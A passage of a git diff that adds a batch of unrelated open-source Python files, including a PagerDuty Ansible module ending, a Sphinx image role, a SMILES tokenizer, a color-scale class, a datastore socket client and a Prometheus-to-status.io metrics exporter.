+    state = module.params['state']
+    client = module.params['client']
+    client_url = module.params['client_url']
+    desc = module.params['desc']
+    incident_key = module.params['incident_key']
+
+    if integration_key is None:
+        if service_key is not None:
+            integration_key = service_key
+            module.warn('"service_key" is obsolete parameter and will be removed.'
+                        ' Please, use "integration_key" instead')
+        else:
+            module.fail_json(msg="'integration_key' is required parameter")
+
+    state_event_dict = {
+        'triggered': 'trigger',
+        'acknowledged': 'acknowledge',
+        'resolved': 'resolve'
+    }
+
+    event_type = state_event_dict[state]
+
+    if event_type != 'trigger' and incident_key is None:
+        module.fail_json(msg="incident_key is required for "
+                             "acknowledge or resolve events")
+
+    out, changed = check(module, name, state, service_id,
+                         integration_key, api_key, incident_key)
+
+    if not module.check_mode and changed is True:
+        out = send_event(module, integration_key, event_type, desc,
+                         incident_key, client, client_url)
+
+    module.exit_json(result=out, changed=changed)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/pool/shard000/Python/0007740_images.py b/pool/shard000/Python/0007740_images.py
new file mode 100644
index 0000000000000000000000000000000000000000..a2cce57dfab698814ac60b0d973de08001d0118c
--- /dev/null
+++ b/pool/shard000/Python/0007740_images.py
@@ -0,0 +1,80 @@
+# -*- coding: utf-8 -*-
+"""
+Based on the sphinx.ext.extlinks.py, from the Sphinx documentation software.
+BSD licensed: see http://sphinx.pocoo.org/latest/
+
+    Extension to save typing and prevent hard-coding of base URLs in the reST
+    files.
+
+    This adds a config value called ``ext_images`` that is created like this::
+
+       ext_images = {'image': 'http://127.0.0.1:8000/media/images/%s'}
+
+    Now you can use e.g. :image:`201107/pic.png` in the ReST and it will create
+    a link to ``http://scipy-central.org/images/201107/pic.png``.
+"""
+import re, os
+from docutils import nodes, utils
+import logging
+logger = logging.getLogger('scipycentral')
+
+def make_link_role(base_url, app):
+    def role(typ, rawtext, text, lineno, inliner, options=None, content=None):
+        text = utils.unescape(text)
+        text_part = text.partition(';')
+        text_rest = text_part[2].strip()
+        specs = {'scaling': None, 'imgname': text_part[0],
+                 'wspec': None, 'hspec': None}
+        if re.search(r'(?P<scaling>\d+)', text_rest):
+            specs['scaling'] = abs(float(text_rest))
+            # Don't allow image sizes smaller than 15% of maximum width or
+            # height. Also, not greater than 100%
+            specs['scaling'] = max(15.0, min(100, specs['scaling']))
+
+        #img_dir = os.path.join(app.env.config.SPC['resized_image_dir'], os.pardir)
+        img_dir = os.path.join(app.env.config.SPC['MEDIA_ROOT'], "images")
+        img_file = os.path.join(img_dir, text_part[0])
+        logger.debug("pardir:" + os.pardir)
+        logger.debug("img_dir:" + img_dir)
+        logger.debug("img_file:" + img_file)
+        img_obj = app.env.config.SPC['__Screenshot__'].objects.\
+                                                     filter(img_file=img_file)
+
+        if img_obj:
+            img = img_obj[0]
+
+            if specs['scaling'] and specs['scaling'] < 100.0:
+                # We guaranteed that image is already either at max height
+                # or max width. Since ``scaling`` is a number <= 100, we can
+                # be sure that we are only shrinking the image
+                specs['wspec'] = img.img_file.width * specs['scaling'] / 100.
+                specs['hspec'] = img.img_file.height * specs['scaling'] / 100.
+
+        try:
+            full_url = base_url % text_part[0]
+        except (TypeError, ValueError):
+            env = inliner.document.settings.env
+            env.warn(env.docname, 'unable to expand %s ext_images with base '
+                     'URL %r, please make sure the base contains \'%%s\' '
+                     'exactly once' % (typ, base_url))
+            full_url = base_url + text_part[0]
+
+        # See "docutils.parsers.rst.directives.images.py" and then ``Image``
+        options = {'uri': full_url}
+        if specs['wspec']:
+            options['width'] = str(int(specs['wspec'])) + 'px'
+        if specs['hspec']:
+            options['height'] = str(int(specs['hspec'])) + 'px'
+
+        image_node = nodes.image(full_url, **options)
+        return [image_node], []
+    return role
+
+def setup_link_roles(app):
+    for name, base_url in app.config.ext_images.iteritems():
+        logger.debug("link: " + name + " : " + base_url)
+        app.add_role(name, make_link_role(base_url, app))
+
+def setup(app):
+    app.add_config_value('ext_images', {}, 'env')
+    app.connect('builder-inited', setup_link_roles)
diff --git a/pool/shard000/Python/0007748_raspberryfriend-miguel.py b/pool/shard000/Python/0007748_raspberryfriend-miguel.py
new file mode 100644
index 0000000000000000000000000000000000000000..b0cdd9bc52ca41179e90ae95dcfb11a3d94de132
--- /dev/null
+++ b/pool/shard000/Python/0007748_raspberryfriend-miguel.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+# raspberry pi nrf24l01 hub
+# more details at http://blog.riyas.org
+# Credits to python port of nrf24l01, Joao Paulo Barrac & maniacbugs original c library
+
+from nrf24b import NRF24
+import time
+from time import gmtime, strftime
+
+pipes = [[0xf0, 0xf0, 0xf0, 0xf0, 0xe1], [0xf0, 0xf0, 0xf0, 0xf0, 0xd2]]
+
+radio = NRF24()
+radio.begin(0, 0,25,18) #set gpio 25 as CE pin
+radio.setRetries(15,15)
+radio.setPayloadSize(32)
+radio.setChannel(0x4c)
+radio.setDataRate(NRF24.BR_250KBPS)
+radio.setPALevel(NRF24.PA_MAX)
+radio.setAutoAck(1)
+radio.openWritingPipe(pipes[0])
+radio.openReadingPipe(1, pipes[1])
+
+radio.startListening()
+radio.stopListening()
+
+radio.printDetails()
+radio.startListening()
+
+while True:
+    pipe = [0]
+    while not radio.available(pipe, True):
+        time.sleep(1000/1000000.0)
+    recv_buffer = []
+    radio.read(recv_buffer)
+    out = ''.join(chr(i) for i in recv_buffer)
+    print (out)
+  
diff --git a/pool/shard000/Python/0007755_colorscale.py b/pool/shard000/Python/0007755_colorscale.py
new file mode 100644
index 0000000000000000000000000000000000000000..8e6185dd2a659c9ad8b1c66f473a4a4f79116116
--- /dev/null
+++ b/pool/shard000/Python/0007755_colorscale.py
@@ -0,0 +1,160 @@
+#########################################################################
+#
+#   colorscale.py - This file is part of the Spectral Python (SPy) package.
+#
+#   Copyright (C) 2001-2010 Thomas Boggs
+#
+#   Spectral Python is free software; you can redistribute it and/
+#   or modify it under the terms of the GNU General Public License
+#   as published by the Free Software Foundation; either version 2
+#   of the License, or (at your option) any later version.
+#
+#   Spectral Python is distributed in the hope that it will be useful,
+#   but WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#   GNU General Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License
+#   along with this software; if not, write to
+#
+#               Free Software Foundation, Inc.
+#               59 Temple Place, Suite 330
+#               Boston, MA 02111-1307
+#               USA
+#
+#########################################################################
+#
+# Send comments to:
+# Thomas Boggs, tboggs@users.sourceforge.net
+#
+
+
+from __future__ import division, print_function, unicode_literals
+
+class ColorScale:
+    '''
+    A color scale class to map scalar values to rgb colors.  The class allows
+    associating colors with particular scalar values, setting a background
+    color (for values below threshold), andadjusting the scale limits. The
+    :meth:`__call__` operator takes a scalar input and returns the
+    corresponding color, interpolating between defined colors.
+    '''
+    def __init__(self, levels, colors, num_tics=0):
+        '''
+        Creates the ColorScale.
+
+        Arguments:
+
+            `levels` (list of numbers):
+
+                Scalar levels to which the `colors` argument will correspond.
+
+            `colors` (list of 3-tuples):
+
+                RGB 3-tuples that define the colors corresponding to `levels`.
+
+            `num_tics` (int):
+
+                The total number of colors in the scale, not including the
+                background color.  This includes the colors given in the
+                `colors` argument, as well as interpolated color values. If
+                not specified, only the colors in the `colors` argument will
+                be used (i.e., num_tics = len(colors).
+        '''
+        import numpy as np
+        if len(colors.shape) != 2 or colors.shape[1] != 3:
+            raise 'colors array has invalid shape.'
+        if len(levels) != colors.shape[0]:
+            raise 'Number of scale levels and colors do not match.'
+
+        if num_tics == 0:
+            num_tics = len(colors)
+        if num_tics < 2:
+            msg = 'There must be at least two tics in the color scale.'
+            raise ValueError(msg)
+
+        # Make sure scale levels are floats
+        if type(levels) in (list, tuple):
+            levels = [float(x) for x in levels]
+        elif isinstance(levels, np.ndarray):
+            levels = levels.astype(np.float)
+
+        self.span = levels[-1] - levels[0]
+        self.max = levels[-1]
+        self.min = levels[0]
+        self.tics = np.linspace(self.min, self.max, num_tics)
+        self.colorTics = np.zeros((len(self.tics), 3), np.int)
+        self.size = len(self.tics)
+        self.bgColor = np.array([0, 0, 0])
+
+        j = 1
+        dcolor = colors[1] - colors[0]
+        dlevel = levels[1] - levels[0]
+        for i in range(len(self.tics)):
+            while self.tics[i] >= levels[j] and j < len(levels) - 1:
+                j += 1
+                dcolor = colors[j] - colors[j - 1]
+                dlevel = levels[j] - levels[j - 1]
+            self.colorTics[i] = (colors[j - 1] + (self.tics[i] - levels[j - 1])
+                                 / dlevel * dcolor).astype(np.int)
+
+    def __call__(self, val):
+        '''Returns the scale color associated with the given value.'''
+        if val < self.min:
+            return self.bgColor
+        elif val >= self.max:
+            return self.colorTics[-1]
+        else:
+            return self.colorTics[int((float(val) - self.min)
+                                  / self.span * self.size)]
+
+    def set_background_color(color):
+        '''Sets RGB color used for values below the scale minimum.
+
+        Arguments:
+
+            `color` (3-tuple): An RGB triplet
+        '''
+        if type(color) in (list, tuple):
+            color = array(color)
+        if len(color.shape) != 1 or color.shape[0] != 3:
+            raise 'Color value must be have exactly 3 elements.'
+        self.bgColor = color
+
+    def set_range(self, min, max):
+        '''Sets the min and max values of the color scale.
+
+        The distribution of colors within the scale will stretch or shrink
+        accordingly.
+        '''
+        self.min = min
+        self.max = max
+        self.span = max - min
+
+
+def create_default_color_scale(ntics=0):
+    '''Returns a black-blue-green-red-yellow-white color scale.
+
+    Arguments:
+
+            `ntics` (integer):
+
+                Total number of colors in the scale. If this value is 0, no
+                interpolated colors will be used.
+    '''
+    from numpy import array
+    mycolors = array([[0, 0, 0],
+                      [0, 0, 255],
+                      [0, 255, 0],
+                      [255, 0, 0],
+                      [255, 255, 0],
+                      [255, 255, 255]])
+
+    if ntics != 0 and ntics < len(mycolors):
+        raise ValueError('Any non-zero value of `ntics` must be greater than'
+                         ' {}.'.format(len(mycolors)))
+    levels = array([0., 10., 20., 30., 40., 50.])
+    scale = ColorScale(levels, mycolors, ntics)
+    return scale
+
+default_color_scale = create_default_color_scale()
diff --git a/pool/shard000/Python/0007758_Smiles.py b/pool/shard000/Python/0007758_Smiles.py
new file mode 100644
index 0000000000000000000000000000000000000000..df59f33892078941473864a10429049129bffe7c
--- /dev/null
+++ b/pool/shard000/Python/0007758_Smiles.py
@@ -0,0 +1,168 @@
+import re, string
+
+import Handler
+
+# To verify this is correct, run
+#  support.make_re_pattern(support.element_symbols + support.aromatic_symbols)
+# Yes, I included aromatics in this list.
+element_symbols_pattern = \
+  r"C[laroudsemf]?|Os?|N[eaibdpos]?|S[icernbmg]?|P[drmtboau]?|"  \
+  r"H[eofgas]?|c|n|o|s|p|A[lrsgutcm]|B[eraik]?|Dy|E[urs]|F[erm]?|"  \
+  r"G[aed]|I[nr]?|Kr?|L[iaur]|M[gnodt]|R[buhenaf]|T[icebmalh]|" \
+  r"U|V|W|Xe|Yb?|Z[nr]|\*"
+
+atom_fields = [
+    "raw_atom",
+    "open_bracket",
+    "weight",
+    "element",
+    "chiral_count",
+    "chiral_named",
+    "chiral_symbols",
+    "hcount",
+    "positive_count",
+    "positive_symbols",
+    "negative_count",
+    "negative_symbols",
+    "error_1",
+    "error_2",
+    "close_bracket",
+    "error_3",
+    ]
+
+atom = re.compile(r"""
+(?P<raw_atom>Cl|Br|[cnospBCNOFPSI]) |  # "raw" means outside of brackets
+(
+  (?P<open_bracket>\[)                 # Start bracket
+  (?P<weight>\d+)?                     # Atomic weight (optional)
+  (                                    # valid term or error
+   (                                   #   valid term
+    (?P<element>""" + element_symbols_pattern + r""")  # element or aromatic
+    (                                  # Chirality can be
+     (?P<chiral_count>@\d+) |          #   @1 @2 @3 ...
+     (?P<chiral_named>                 # or
+       @TH[12] |                       #   @TA1 @TA2
+       @AL[12] |                       #   @AL1 @AL2
+       @SP[123] |                      #   @SP1 @SP2 @SP3
+       @TB(1[0-9]?|20?|[3-9]) |        #   @TB{1-20}
+       @OH(1[0-9]?|2[0-9]?|30?|[4-9])) | # @OH{1-30}
+     (?P<chiral_symbols>@+)            # or @@@@@@@...
+    )?                                 # and chirality is optional
+    (?P<hcount>H\d*)?                  # Optional hydrogen count
+    (                                  # Charges can be
+     (?P<positive_count>\+\d+) |       #   +<number>
+     (?P<positive_symbols>\++) |       #   +++...  This includes the single '+'
+     (?P<negative_count>-\d+)  |       #   -<number>
+     (?P<negative_symbols>-+)          #   ---...  including a single '-'
+    )?                                 # and are optional
+    (?P<error_1>[^\]]+)?               # If there's anything left, it's an error
+  ) | (                                # End of parsing stuff in []s, except
+    (?P<error_2>[^\]]*)                # If there was an error, we get here
+  ))
+  ((?P<close_bracket>\])|              # End bracket
+   (?P<error_3>$))                     # unexpectedly reached end of string
+)
+""", re.X)
+
+bond_fields = ["bond"]
+bond = re.compile(r"(?P<bond>[=#/\\:~-])")
+
+dot_fields = ["dot"]
+dot = re.compile(r"(?P<dot>\.)")
+
+closure_fields = ["closure"]
+closure = re.compile(r"(?P<closure>\d|%\d\d?)")
+
+close_branch_fields = ["close_branch"]
+close_branch = re.compile(r"(?P<close_branch>\))")
+
+open_branch_fields = ["open_branch"]
+open_branch = re.compile(r"(?P<open_branch>\()")
+
+# Make from the state name to
+#   1. the regular expession to try to match and
+#   2. the list of field names in that regexp.
+# (There's no way to use sre to get #2 as an ordered list so
+#  it needs to be done manually.)
+info = {
+    "atom": (atom, atom_fields),
+    "bond": (bond, bond_fields),
+    "dot": (dot, dot_fields),
+    "closure": (closure, closure_fields),
+    "close_branch": (close_branch, close_branch_fields),
+    "open_branch": (open_branch, open_branch_fields),
+    }
+
+# Mapping from current state to allowed states
+table = {
+    # Could allow a dot
+    "start": ("atom",),
+
+    # CC, C=C, C(C)C, C(C)C, C.C, C1CCC1
+    "atom": ("atom", "bond", "close_branch", "open_branch", "dot", "closure"),
+
+    # C=C, C=1CCC=1
+    "bond": ("atom", "closure"),
+
+    # C(C)C, C(C)=C, C(C).C, C(C(C))C, C(C)(C)C
+    "close_branch": ("atom", "bond", "dot", "close_branch", "open_branch"),
+
+    # C(C), C(=C), C(.C) (really!)
+    "open_branch": ("atom", "bond", "dot"),
+
+    # C.C  -- allow a dot? as in C..C
+    "dot": ("atom",),
+
+    # C1CCC1, C1=CCC1, C12CC1C2, C1C(CC)1, C1(CC)CC1, c1ccccc1.[NH4+]
+    "closure": ("atom", "bond", "closure", "close_branch", "open_branch", "dot"),
+}
+
+# Parse a SMILES string and print the events found
+def tokenize(s, handler = Handler.TokenHandler()):
+    expected = table["start"]
+    n = len(s)
+    i = 0
+    handler.begin()
+    while i < n:
+        # Of the expected states, find one that matches the
+        # text at the current position.
+        for state in expected:
+            pat, fields = info[state]
+            m = pat.match(s, i)
+            if m:
+                break
+        else:
+            # No matches found, so this was an error
+            handler.error("Unknown character", i, s[i:])
+            # The handler is allowed to not throw an
+            # exception, but we are done, so return.
+            return
+        #print "New state:", state,
+
+        # Get the dictionary of matched name groups
+        d = m.groupdict()
+
+        # Go through the list of fields that could have matched.
+        # Needs to go in a order so the token text can be converted
+        # back into the original string.
+        for field in fields:
+            # See if there was a match for the given named field
+            if d[field] is not None:
+                # Was it an error match?
+                if field[:5] == "error":
+                    pos = m.start(field)
+                    if field == "error_3":
+                        handler.error("Missing ']'", pos, s[pos:])
+                    else:
+                        handler.error("Unknown character", pos, s[pos:])
+                    return
+                # Success, so send the token to the callback
+                #print "--> ", m.group(field), field
+                handler.add_token(field, i, m.group(field))
+
+        # Get the new list of expected states, and move to
+        # the end of the previous match.
+        expected = table[state]
+        i = m.end(0)
+
+    handler.end()
diff --git a/pool/shard000/Python/0007759_datastore.py b/pool/shard000/Python/0007759_datastore.py
new file mode 100644
index 0000000000000000000000000000000000000000..ed16a66279ccfcb65e7467afaabd0e3fef29147f
--- /dev/null
+++ b/pool/shard000/Python/0007759_datastore.py
@@ -0,0 +1,96 @@
+from django.conf import settings
+import socket
+import struct
+import urllib
+import hashlib
+
+try:
+    import json
+except: 
+    import simplejson as json
+
+
+class DataStore(object):
+    def __init__ (self, short_name) :
+        self.sbuffer = [ ] 
+        self.m_socket = socket.socket()
+        self.m_socket.connect((settings.DATAPROXY_HOST, settings.DATAPROXY_PORT))
+        
+        self.secret = hasattr(settings, 'DATASTORE_SECRET') and settings.DATASTORE_SECRET or ''
+        
+        # Set receive timeout to be 20 seconds so that this failing doesn't cause us to 404 on the 
+        # scraper overview page.
+        # If this doesn't work out, change to using select() with a timeout (both individual and overall)
+        self.m_socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVTIMEO, struct.pack('LL', 20, 0))
+        
+        secret_key = '%s%s' % (short_name, self.secret,)
+        data = [ ("uml", socket.gethostname()), 
+                 ("port", self.m_socket.getsockname()[1]), 
+                 ("short_name", short_name), 
+                 ('verify',hashlib.sha256(secret_key).hexdigest()) ]
+        self.m_socket.send ('GET /?%s HTTP/1.1\n\n' % urllib.urlencode(data))
+        
+        res = self.receiveoneline()  # comes back with True, "Ok"
+        self.error = res.get('error', None)
+
+    def request(self, req):
+        assert type(req) == dict, req
+        assert "maincommand" in req
+                    
+        if self.error:
+            return self.error
+                    
+        self.m_socket.sendall(json.dumps(req) + '\n')
+        return self.receiveoneline()
+
+    def close(self) :
+        if self.m_socket:
+            try:
+                # Try and flush some data but bear in mind that the proxy may have already 
+                # closed the connection for us - as it does tend to do from time to time
+                self.m_socket.close()
+            except:
+                pass
+                
+        self.m_socket = None
+
+    # a \n delimits the end of the record.  you cannot read beyond it or it will hang; unless there is a moredata=True parameter
+    def receiveonelinenj(self):
+        
+        while len(self.sbuffer) >= 2:
+            res = self.sbuffer.pop(0)
+            if res:
+                return res
+                
+        timeout = False
+        srec = None        
+        while True:
+            try:
+                srec = self.m_socket.recv(2048)
+                timeout = False                                
+            except:
+                timeout = True                
+
+            if not srec:
+                msg = timeout and "The dataproxy connection timed out, please retry." or "The socket from the dataproxy has closed"
+                return json.dumps({'error': msg })
+                
+            ssrec = srec.split("\n")  # multiple strings if a "\n" exists
+            self.sbuffer.append(ssrec.pop(0))
+            if ssrec:
+                break # Discard anything after the newline
+        
+        line = "".join(self.sbuffer)
+        self.sbuffer = ssrec
+        return line
+        
+        
+    def receiveoneline(self):
+        self.sbuffer = [ ] # reset the buffer just for sake of that's what's worked in the past
+        try:
+            ret = json.loads(self.receiveonelinenj())
+        except ValueError, e:
+            ret = {'error': e.message}
+        assert "moredata" not in ret
+        return ret
+    
\ No newline at end of file
diff --git a/pool/shard000/Python/0007760_parser_hierarchy.py b/pool/shard000/Python/0007760_parser_hierarchy.py
new file mode 100644
index 0000000000000000000000000000000000000000..09c60f14bd51e70697af2c415e6c03fd5583b460
--- /dev/null
+++ b/pool/shard000/Python/0007760_parser_hierarchy.py
@@ -0,0 +1,80 @@
+# coding=utf-8
+# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
+# Licensed under the Apache License, Version 2.0 (see LICENSE).
+
+from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
+                        unicode_literals, with_statement)
+
+import re
+
+from pants.option.arg_splitter import GLOBAL_SCOPE
+from pants.option.config import Config
+from pants.option.parser import Parser
+
+
+class InvalidScopeError(Exception):
+  pass
+
+_empty_scope_component_re = re.compile(r'\.\.')
+
+
+def _validate_full_scope(scope):
+  if _empty_scope_component_re.search(scope):
+    raise InvalidScopeError(
+      "full scope '{}' has at least one empty component".format(scope))
+
+
+def enclosing_scope(scope):
+  """Utility function to return the scope immediately enclosing a given scope."""
+  _validate_full_scope(scope)
+  return scope.rpartition('.')[0]
+
+
+def all_enclosing_scopes(scope, allow_global=True):
+  """Utility function to return all scopes up to the global scope enclosing a
+  given scope."""
+
+  _validate_full_scope(scope)
+
+  # TODO(cosmicexplorer): validate scopes here and/or in `enclosing_scope()`
+  # instead of assuming correctness.
+  def scope_within_range(tentative_scope):
+    if tentative_scope is None:
+      return False
+    if not allow_global and tentative_scope == GLOBAL_SCOPE:
+      return False
+    return True
+
+  while scope_within_range(scope):
+    yield scope
+    scope = (None if scope == GLOBAL_SCOPE else enclosing_scope(scope))
+
+
+class ParserHierarchy(object):
+  """A hierarchy of scoped Parser instances.
+
+  A scope is a dotted string: E.g., compile.java. In this example the compile.java scope is
+  enclosed in the compile scope, which is enclosed in the global scope (represented by an
+  empty string.)
+  """
+
+  def __init__(self, env, config, scope_infos, option_tracker):
+    # Sorting ensures that ancestors precede descendants.
+    scope_infos = sorted(set(list(scope_infos)), key=lambda si: si.scope)
+    self._parser_by_scope = {}
+    for scope_info in scope_infos:
+      scope = scope_info.scope
+      parent_parser = (None if scope == GLOBAL_SCOPE else
+                       self._parser_by_scope[enclosing_scope(scope)])
+      self._parser_by_scope[scope] = Parser(env, config, scope_info, parent_parser,
+                                            option_tracker=option_tracker)
+
+  def get_parser_by_scope(self, scope):
+    try:
+      return self._parser_by_scope[scope]
+    except KeyError:
+      raise Config.ConfigValidationError('No such options scope: {}'.format(scope))
+
+  def walk(self, callback):
+    """Invoke callback on each parser, in pre-order depth-first order."""
+    self._parser_by_scope[GLOBAL_SCOPE].walk(callback)
diff --git a/pool/shard000/Python/0007761_test.py b/pool/shard000/Python/0007761_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..ea87b8718b469f95a48a523bf6ad363d411f534f
--- /dev/null
+++ b/pool/shard000/Python/0007761_test.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python3
+
+from __future__ import print_function
+from builtins import str
+import sys
+import os
+
+from vmrunner import vmrunner
+
+image_name="build/service"
+if len(sys.argv) > 1:
+    image_name=str(sys.argv[1])
+
+def test2():
+  print("Booting VM 2 - lots of memory")
+  vm = vmrunner.vm(config = "vm2.json")
+  vm.boot(20, image_name = image_name)
+
+vm = vmrunner.vm(config = "vm1.json")
+vm.on_exit_success(test2)
+print("Booting VM 1 - default amount of memory")
+
+if len(sys.argv) > 1:
+    vm.boot(image_name=str(sys.argv[1]))
+else:
+    vm.cmake().boot(20,image_name='kernel_memmap').clean()
diff --git a/pool/shard000/Python/0007766_test_group_concat.py b/pool/shard000/Python/0007766_test_group_concat.py
new file mode 100644
index 0000000000000000000000000000000000000000..1c3700cc512b1ddd2cfa6a639a339b36edaeabbe
--- /dev/null
+++ b/pool/shard000/Python/0007766_test_group_concat.py
@@ -0,0 +1,22 @@
+# -*- coding: utf-8 -*-
+from sqlalchemy import MetaData, Table, Column, String, select
+from sqlalchemy import create_engine
+from slutils.sqlalchemy.group_concat import group_concat
+
+m = MetaData()
+t = Table('t1', m, Column('foo', String), Column('bar', String))
+
+s = select([group_concat(t.c.foo, t.c.bar)]).\
+    compile(bind=create_engine('mysql://')) != ""
+
+assert s != ""
+
+s = select([group_concat(t.c.foo)]).\
+    compile(bind=create_engine('mysql://'))
+
+assert s != ""
+
+s = select([group_concat(t.c.foo, separator="tocata")]).\
+    compile(bind=create_engine('mysql://'))
+
+assert s != ""
diff --git a/pool/shard000/Python/0007768_statusio_export_archive_counters.py b/pool/shard000/Python/0007768_statusio_export_archive_counters.py
new file mode 100644
index 0000000000000000000000000000000000000000..89e91887364285ee7bce2bd6d7befbdbf2d79f3d
--- /dev/null
+++ b/pool/shard000/Python/0007768_statusio_export_archive_counters.py
@@ -0,0 +1,203 @@
+#!/usr/bin/python3
+# File managed by puppet (class ::profile::status_io_metrics), changes will be lost.
+
+# python3 update_metrics.py -m swh_web_accepted_save_requests --api-id 1234 --api-key 456 --status-page-id 123 \
+#   --metric-id 456 -f environment="production" -f "load_task_status=~scheduled|not_yet_scheduled" -f instance=moma.internal.softwareheritage.org
+import statusio
+import requests
+from datetime import datetime, timedelta
+from typing import List, Tuple
+import os
+import click
+
+# 2014-03-28T05:43:00+00:00
+API_DATE_FORMAT = "%Y-%m-%dT%H:%M:%S+00:00"
+
+
+def extract_metrics(raw_data) -> List[List]:
+    return raw_data["data"]["result"][0]["values"]
+
+
+def get_average(values: List[int]) -> float:
+    return sum(values) / len(values)
+
+
+def escape_filter(filter: str) -> str:
+    if "=~" in filter:
+        separator = "=~"
+    else:
+        separator = "="
+
+    terms = filter.split(separator)
+
+    return f'{terms[0]}{separator}"{terms[1]}"'
+
+
+def get_prometheus_values(
+    prometheus_url: str,
+    metric: str,
+    filters: List[str],
+    start: int,
+    end: int,
+    interval: int,
+) -> List[List]:
+    escaped_filters = [escape_filter(filter) for filter in filters]
+
+    metric_filters = ",".join(escaped_filters)
+
+    url = f"{prometheus_url}?query=sum({metric}{{{metric_filters}}})&start={start}&end={end}&step={interval}"
+
+    response = requests.get(url)
+    if response.ok == False:
+        raise ValueError(f"Unable to get prometheus metrics: {response.text}")
+
+    return extract_metrics(response.json())
+
+
+def extract_status_io_data(prometheus_data: List[List]) -> Tuple[List[str], List[int]]:
+    dates = []
+    values = []
+
+    for tuple in prometheus_data:
+        date = datetime.fromtimestamp(tuple[0])
+
+        dates.append(date.strftime(API_DATE_FORMAT))
+        values.append(int(tuple[1]))
+
+    return (dates, values)
+
+
+@click.command()
+@click.option(
+    "--prometheus-server",
+    "-s",
+    default="pergamon.internal.softwareheritage.org",
+    help="Prometheus instance",
+)
+@click.option(
+    "--prometheus-port",
+    "-p",
+    default=9090,
+    type=click.INT,
+    help="Prometheus instance service port",
+)
+@click.option(
+    "--prometheus-metric",
+    "-m",
+    required=True,
+    help="Prometheus metric to query",
+)
+@click.option(
+    "--prometheus-filter",
+    "-f",
+    multiple=True,
+    help="Prometheus metric to query",
+)
+@click.option(
+    "--api-id",
+    required=True,
+    help="status io api id",
+)
+@click.option(
+    "--api-key",
+    required=True,
+    help="status io api key",
+)
+@click.option(
+    "--status-page-id",
+    required=True,
+    help="status io status page id",
+)
+@click.option(
+    "--metric-id",
+    required=True,
+    help="status io metric id",
+)
+def main(
+    prometheus_server: str,
+    prometheus_port: int,
+    prometheus_metric: str,
+    prometheus_filter: List[str],
+    api_id: str,
+    api_key: str,
+    status_page_id: str,
+    metric_id: str,
+):
+    """populate a status.io metric from a prometheus metric"""
+
+    prometheus_url = f"http://{prometheus_server}:{prometheus_port}/api/v1/query_range"
+
+    # dates computation
+    current_time = datetime.utcnow()
+    day_start = current_time - timedelta(days=1)
+    hour_interval = 3600
+    day_interval = 3600 * 24
+    week_start = current_time - timedelta(days=7)
+    month_start = current_time - timedelta(days=30)
+
+    api = statusio.Api(api_id=api_id, api_key=api_key)
+
+    raw_values = get_prometheus_values(
+        prometheus_url,
+        prometheus_metric,
+        prometheus_filter,
+        day_start.timestamp(),
+        current_time.timestamp(),
+        hour_interval,
+    )
+
+    day_dates, day_values = extract_status_io_data(raw_values)
+    day_avg = get_average(day_values)
+
+    raw_values = get_prometheus_values(
+        prometheus_url,
+        prometheus_metric,
+        prometheus_filter,
+        week_start.timestamp(),
+        current_time.timestamp(),
+        day_interval,
+    )
+
+    week_dates, week_values = extract_status_io_data(raw_values)
+    week_avg = get_average(week_values)
+
+    raw_values = get_prometheus_values(
+        prometheus_url,
+        prometheus_metric,
+        prometheus_filter,
+        month_start.timestamp(),
+        current_time.timestamp(),
+        day_interval,
+    )
+
+    month_dates, month_values = extract_status_io_data(raw_values)
+    month_avg = get_average(month_values)
+
+    result = api.MetricUpdate(
+        statuspage_id=status_page_id,
+        metric_id=metric_id,
+        day_avg=day_avg,
+        day_start=day_start.timestamp(),
+        day_dates=day_dates,
+        day_values=day_values,
+        week_avg=week_avg,
+        week_start=week_start.timestamp(),
+        week_dates=week_dates,
+        week_values=week_values,
+        month_avg=month_avg,
+        month_start=month_start.timestamp(),
+        month_dates=month_dates,
+        month_values=month_values,
+    )
+
+    # this line will be sent by email via cron 
+    # if the return code is not 0
+    print(result)
+
+    if result.get("result") == False:
+        exit(1)
+    exit(0)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/pool/shard000/Python/0007771_test_rss.py b/pool/shard000/Python/0007771_test_rss.py
new file mode 100644
index 0000000000000000000000000000000000000000..6a376604523ebf8503870c89a53dca687da512f9
--- /dev/null
+++ b/pool/shard000/Python/0007771_test_rss.py
@@ -0,0 +1,18 @@
+# -*- coding: utf-8 -*-
+import pytest
+import requests
+
+from cfme.base.ui import Server
+from cfme.web_ui import Table
+from cfme.utils.appliance.implementations.ui import navigate_to
+
+rss_table = Table("//div[@id='tab_div']/table", header_offset=1)
+
+
+@pytest.mark.tier(3)
+def test_verify_rss_links():
+    navigate_to(Server, 'RSS')
+    for row in rss_table.rows():
+        url = pytest.sel.text(row["feed_url"]).strip()
+        req = requests.get(url, verify=False)
+        assert 200 <= req.status_code < 400, "The url {} seems malformed".format(repr(url))
diff --git a/pool/shard000/Python/0007773_store.py b/pool/shard000/Python/0007773_store.py
new file mode 100644
index 0000000000000000000000000000000000000000..1b546832d2d1b2106ff575eddaab24bb43d555b4
--- /dev/null
+++ b/pool/shard000/Python/0007773_store.py
@@ -0,0 +1,283 @@
+"""
+sentry.options.store
+~~~~~~~~~~~~~~~~~~~~
+
+:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
+:license: BSD, see LICENSE for more details.
+"""
+from __future__ import absolute_import, print_function
+
+import logging
+from collections import namedtuple
+from time import time
+from random import random
+
+from django.utils import timezone
+from django.utils.functional import cached_property
+from sentry.db.models.query import create_or_update
+from sentry.utils.hashlib import md5
+
+
+Key = namedtuple('Key', ('name', 'default', 'type', 'flags', 'ttl', 'grace', 'cache_key'))
+
+CACHE_FETCH_ERR = 'Unable to fetch option cache for %s'
+CACHE_UPDATE_ERR = 'Unable to update option cache for %s'
+
+logger = logging.getLogger('sentry')
+
+
+def _make_cache_key(key):
+    return 'o:%s' % md5(key).hexdigest()
+
+
+def _make_cache_value(key, value):
+    now = int(time())
+    return (
+        value,
+        now + key.ttl,
+        now + key.ttl + key.grace,
+    )
+
+
+class OptionsStore(object):
+    """
+    Abstraction for the Option storage logic that should be driven
+    by the OptionsManager.
+
